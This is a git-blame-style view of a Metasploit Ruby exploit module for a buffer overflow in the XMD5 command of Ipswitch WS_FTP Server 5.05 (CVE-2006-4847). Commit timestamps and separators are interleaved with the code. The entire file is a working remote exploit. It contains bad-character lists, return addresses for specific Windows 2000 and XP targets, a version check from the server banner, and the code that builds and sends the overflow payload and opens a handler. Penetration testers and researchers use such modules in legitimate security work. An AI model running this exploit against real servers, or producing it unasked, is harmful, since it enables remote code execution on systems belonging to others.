2007-02-18 00:10:39 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2006-09-27 03:18:57 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = AverageRanking
|
2006-09-27 03:18:57 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Ftp
|
2006-09-27 03:18:57 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2007-10-01 13:12:55 +00:00
|
|
|
'Name' => 'Ipswitch WS_FTP Server 5.05 XMD5 Overflow',
|
2006-09-27 03:18:57 +00:00
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This module exploits a buffer overflow in the XMD5 verb in
|
2007-10-01 13:12:55 +00:00
|
|
|
IPSWITCH WS_FTP Server 5.05.
|
2006-09-27 03:18:57 +00:00
|
|
|
},
|
|
|
|
'Author' => 'MC',
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2006-4847' ],
|
2009-06-07 20:20:42 +00:00
|
|
|
[ 'OSVDB', '28939' ],
|
|
|
|
[ 'BID', '20076' ],
|
2006-09-27 03:18:57 +00:00
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 300,
|
|
|
|
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2006-09-27 03:18:57 +00:00
|
|
|
[
|
|
|
|
[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec663 } ],
|
|
|
|
[ 'Windows XP Pro SP0 English', { 'Ret' => 0x77dc0df0 } ],
|
|
|
|
[ 'Windows XP Pro SP1 English', { 'Ret' => 0x77dc5527 } ],
|
|
|
|
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Sep 14 2006',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
connect
|
2010-04-30 08:40:19 +00:00
|
|
|
disconnect
|
2006-09-27 03:18:57 +00:00
|
|
|
if (banner =~ /WS_FTP Server 5.0.5/)
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-09-27 03:18:57 +00:00
|
|
|
def exploit
|
|
|
|
connect_login
|
|
|
|
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
sploit = rand_text_alphanumeric(676, payload_badchars)
|
|
|
|
sploit << [target.ret].pack('V') + payload.encoded
|
2006-09-27 03:18:57 +00:00
|
|
|
|
|
|
|
send_cmd( ['XMD5', sploit] , false)
|
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-06-07 20:20:42 +00:00
|
|
|
end
|